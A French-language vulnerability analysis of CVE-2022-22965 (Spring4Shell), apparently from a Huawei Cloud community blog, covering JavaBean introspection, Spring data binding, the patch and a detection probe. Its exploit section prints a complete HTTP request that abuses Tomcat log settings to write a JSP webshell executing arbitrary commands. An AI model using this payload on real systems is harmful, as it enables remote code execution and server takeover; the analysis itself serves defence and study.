Cet article est partagé par la communauté HUAWEI CLOUD « Analyse de vulnérabilité CVE-2022-22965 » par Xuuuu.
CVE-2022-22965
Une application Spring MVC ou Spring WebFlux exécutée sur JDK 9+ peut être vulnérable à l'exécution de code à distance (RCE) via la liaison de données. L'exploit spécifique nécessite que l'application s'exécute sur Tomcat en tant que déploiement WAR. Si l'application est déployée en tant que jar exécutable Spring Boot, c'est-à-dire la valeur par défaut, elle n'est pas vulnérable à l'exploit. Cependant, la nature de la vulnérabilité est plus générale et il peut y avoir d'autres façons de l'exploiter.
Construction d'environnement
VulEnv/springboot/cve-2022-22965 au maître · XuCcc/VulEnv
Pré-connaissance
JavaBean
Un objet Bean typique est le suivant
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Une classe qui définit les propriétés via private pour lire et écrire via public getXyz/setXyz est appelée JavaBean [^1]
Introspecteur
java.beans.Introspector [^2] fournit un ensemble standard de méthodes pour accéder aux propriétés, méthodes et événements dans javaBeans, qui recherchent des informations dans le bean lui-même et jusqu'à la classe parent . Par exemple, obtenez des informations relatives à la propriété via java.beans.PropertyDescriptor (name/getter/setter/...)
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
Les opérations d'affectation peuvent également être effectuées par le biais d'opérations d'introspection
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
Spring BeanWrapperImpl
Fournit un ensemble d'API simples pour les opérations JavaBean, ainsi que certaines fonctionnalités avancées (propriétés imbriquées, lecture et écriture par lots, etc.)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
Analysez la logique d'appel à setPropertyValue("name", "wang") pour avoir une compréhension générale du processus
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- Appelez la méthode getPropertyAccessorForPropertyPath pour obtenir la propriété imbriquée via le getter
- getPropertyAccessorForPropertyPath Lorsqu'il y a des propriétés ABC imbriquées, le getter est appelé cycliquement pour obtenir la valeur
- Appelez la méthode setPropertyValue pour définir la propriété via le setter
- processKeyedProperty définit l'objet Array/List...
- processLocalProperty définit l'objet bean simple
- getLocalPropertyHandler obtient le descripteur de propriété
- getCachedIntrospectionResults Obtenir PropertyDescriptor à partir du cache
- CachedIntrospectionResults#forClass crée un cache pour le bean actuel
- …
- getCachedIntrospectionResults Obtenir PropertyDescriptor à partir du cache
- setValue attribue une valeur en appelant le setter par réflexion
- getLocalPropertyHandler obtient le descripteur de propriété
Liaison de données Spring
Prenez le contrôleur suivant comme exemple pour suivre le processus de liaison des paramètres de ressort
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
- La requête http entrante est traitée par org.springframework.web.servlet.DispatcherServlet#doDispatch, et le gestionnaire correspondant est trouvé pour le traitement
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest Liaison de paramètres avant d'appeler le gestionnaire
- Utilisez la réponse org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument pour la résolution des paramètres et obtenez les paramètres de la demande. Voici org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
- Ensuite, accédez à org.springframework.validation.DataBinder#doBind et attribuez des valeurs en fonction de l'objet JavaBean. Ici, vous obtiendrez un BeanWrapperImpl pour attribuer des valeurs via setPropertyValues
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
Analyse du code source
L'officiel a résolu ce problème dans la version 5.3.18. Consultez Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework a apporté des modifications pertinentes à org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults, et a renforcé un filtre lié à PropertyDescriptor . Afficher les appels associés
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
En combinant le contenu ci-dessus, il n'est pas difficile de déduire que le BeanWrapperImpl appelé par Spring lors de l'exécution de la liaison de paramètres déclenche cette vulnérabilité lors de l'exécution d'opérations JavaBean.
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Exp écrire
Étant donné que JDK9 fournit nouvellement java.lang.Module[^4], le classLoader peut être obtenu via class.module.classLoader dans CachedIntrospectionResults#CachedIntrospectionResults, donc ce trou est également un contournement de CVE-2010-1622[^5].
Les EXP qui circulent actuellement utilisent toutes ParallelWebappClassLoader de Tomcat pour modifier les attributs liés au journal dans Tomcat [^6], pour écrire le webshell dans le fichier journal afin d'atteindre l'objectif d'exécution de la commande.
Par exemple, écrivez cmd dans l'en-tête http de webapps/shell.jsp
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
envoyer le message
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
Vous pouvez utiliser shell.jsp?a=cmd pour exécuter la commande
Pour d'autres détails d'utilisation, veuillez vous référer à : Quelques réflexions sur Spring framework rce (CVE-2022-22965)
Corrections de correctifs
Spring renforce le jugement lors de l'obtention du descripteur d'attribut, ne laissant que l'attribut name.
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
Écriture poco
En définissant les propriétés sous le chargeur de classe de manière incorrecte pour déclencher l'exception BindException et laisser le serveur renvoyer une exception, vous pouvez déterminer s'il existe une vulnérabilité, telle que l'envoi
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
retour du serveur
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
Référence
- Spring Framework RCE, annonce anticipée
- Vulnérabilité SpringShell RCE : Conseils pour se protéger et détecter CVE-2022-22965 - Microsoft Security Blog
- Principe de liaison des paramètres SpringMVC | la technologie est le moteur de la vie
- Analyse des vulnérabilités Spring Framework RCE | Blog de Gta1ta
- CVE-2022-22965 (SpringShell) : analyse et atténuation des vulnérabilités RCE
note de bas de page
[^1] : JavaBeans - Wikipédia
[^2] : Introspecteur (Java Platform SE 8 )
[^3] : Spring Property Injection (3) AbstractNestablePropertyAccessor - binarylei - Blog Park
[^4] : Module (Java SE 9 et JDK 9 )
[^5] : Analyse de la vulnérabilité d'exécution de code arbitraire du framework SpringMVC (CVE-2010-1622) - Ruilin
[^6] : Référence de configuration d'Apache Tomcat 8 (8.0.53) - Le composant Valve
Bonus en fin d'article : HUAWEI CLOUD Vulnerability Scanning Service VSS Basic Edition est gratuit pour une durée limitée >>>